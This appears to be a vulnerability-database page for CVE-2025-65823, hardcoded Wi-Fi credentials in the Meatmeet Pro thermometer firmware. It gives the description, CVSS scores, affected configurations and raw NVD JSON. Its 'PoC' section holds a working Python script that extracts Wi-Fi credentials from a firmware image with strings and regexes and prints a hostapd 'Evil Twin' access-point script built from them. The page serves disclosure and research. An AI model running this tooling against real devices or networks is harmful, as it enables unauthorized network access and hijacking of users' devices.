Security Vulnerability Report
中文
CVE-2025-65823 CVSS 9.8 CRITICAL

CVE-2025-65823

Published: 2025-12-10 21:16:08
Last Modified: 2026-01-21 19:06:43

Description

The Meatmeet Pro was found to be shipped with hardcoded Wi-Fi credentials in the firmware, for the test network it was developed on. If an attacker retrieved this, and found the physical location of the Wi-Fi network, they could gain unauthorized access to the Wi-Fi network of the vendor. Additionally, if an attacker were located in close physical proximity to the device when it was first set up, they may be able to force the device to auto-connect to an attacker-controlled access point by setting the SSID and password to the same as which was found in the firmware file.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:meatmeet:meatmeet_pro_wifi_\&_bluetooth_meat_thermometer_firmware:1.0.34.4:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:meatmeet:meatmeet_pro_wifi_\&_bluetooth_meat_thermometer:-:*:*:*:*:*:*:* - NOT VULNERABLE
Meatmeet Pro (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-65823 PoC - Extract hardcoded Wi-Fi credentials from Meatmeet Pro firmware Note: This PoC demonstrates the vulnerability analysis process """ import subprocess import re import sys def extract_wifi_credentials(firmware_path): """ Extract potential Wi-Fi credentials from firmware binary """ print(f"[*] Analyzing firmware: {firmware_path}") # Step 1: Extract strings from firmware try: result = subprocess.run( ['strings', firmware_path], capture_output=True, text=True, timeout=30 ) strings_output = result.stdout except Exception as e: print(f"[-] Error extracting strings: {e}") return None # Step 2: Search for Wi-Fi related patterns ssid_pattern = r'(?:SSID|WIFI|WLAN)[_:\s]*["\']?([\w\-\s]{1,32})["\']?' password_pattern = r'(?:PASSWORD|PASS|KEY|PSK)[_:\s]*["\']?([\w\-\!@#$%^&*()]{8,63})["\']?' ssids = re.findall(ssid_pattern, strings_output, re.IGNORECASE) passwords = re.findall(password_pattern, strings_output, re.IGNORECASE) print(f"[+] Found {len(ssids)} potential SSIDs") print(f"[+] Found {len(passwords)} potential passwords") # Step 3: Look for common hardcoded patterns hardcoded_patterns = [ r'network=\{[^}]*ssid="([^"]+)"[^}]*password="([^"]+)"', r'wifi\.ssid=([^\s]+)\s+wifi\.password=([^\s]+)', ] credentials = [] for pattern in hardcoded_patterns: matches = re.findall(pattern, strings_output) for match in matches: if len(match) == 2: credentials.append({ 'ssid': match[0], 'password': match[1] }) if credentials: print("\n[!] Hardcoded Wi-Fi credentials found:") for cred in credentials: print(f" SSID: {cred['ssid']}") print(f" Password: {cred['password']}") print() return credentials def create_evil_twin_script(ssid, password, interface='wlan0'): """ Generate Evil Twin attack script for demonstration """ script = f'''#!/bin/bash # Evil Twin Attack Script for CVE-2025-65823 # Target SSID: {ssid} INTERFACE={interface} TARGET_SSID="{ssid}" TARGET_PASSWORD="{password}" # Start hostapd with target SSID hostapd -B -i $INTERFACE <<EOF interface=$INTERFACE ssid=$TARGET_SSID hw_mode=g channel=6 wpa=2 wpa_passphrase=$TARGET_PASSWORD wpa_key_mgmt=WPA-PSK rsn_pairwise=CCMP EOF echo "[*] Evil Twin AP created with SSID: $TARGET_SSID" echo "[*] Waiting for device connection..." ''' return script if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: python3 {sys.argv[0]} <firmware_bin>\n") print("Example: python3 cve-2025-65823.py meatmeet_pro_firmware.bin") sys.exit(1) firmware = sys.argv[1] creds = extract_wifi_credentials(firmware) if creds: for cred in creds: evil_twin = create_evil_twin_script(cred['ssid'], cred['password']) print("[*] Evil Twin script generated:") print(evil_twin)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65823", "sourceIdentifier": "[email protected]", "published": "2025-12-10T21:16:08.027", "lastModified": "2026-01-21T19:06:43.440", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Meatmeet Pro was found to be shipped with hardcoded Wi-Fi credentials in the firmware, for the test network it was developed on. If an attacker retrieved this, and found the physical location of the Wi-Fi network, they could gain unauthorized access to the Wi-Fi network of the vendor. Additionally, if an attacker were located in close physical proximity to the device when it was first set up, they may be able to force the device to auto-connect to an attacker-controlled access point by setting the SSID and password to the same as which was found in the firmware file."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-798"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:meatmeet:meatmeet_pro_wifi_\\&_bluetooth_meat_thermometer_firmware:1.0.34.4:*:*:*:*:*:*:*", "matchCriteriaId": "9B669DA2-CF06-461F-B624-DCD0359D1656"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:meatmeet:meatmeet_pro_wifi_\\&_bluetooth_meat_thermometer:-:*:*:*:*:*:*:*", "matchCriteriaId": "1661B540-36E1-4BF0-BC63-9EC952560B54"}]}]}], "references": [{"url": "https://gist.github.com/dead1nfluence/4dffc239b4a460f41a03345fd8e5feb5#file-hardcoded-credentials-esp32-md", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/dead1nfluence/Meatmeet-Pro-Vulnerabilities/blob/main/Device/Hardcoded-Credentials.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}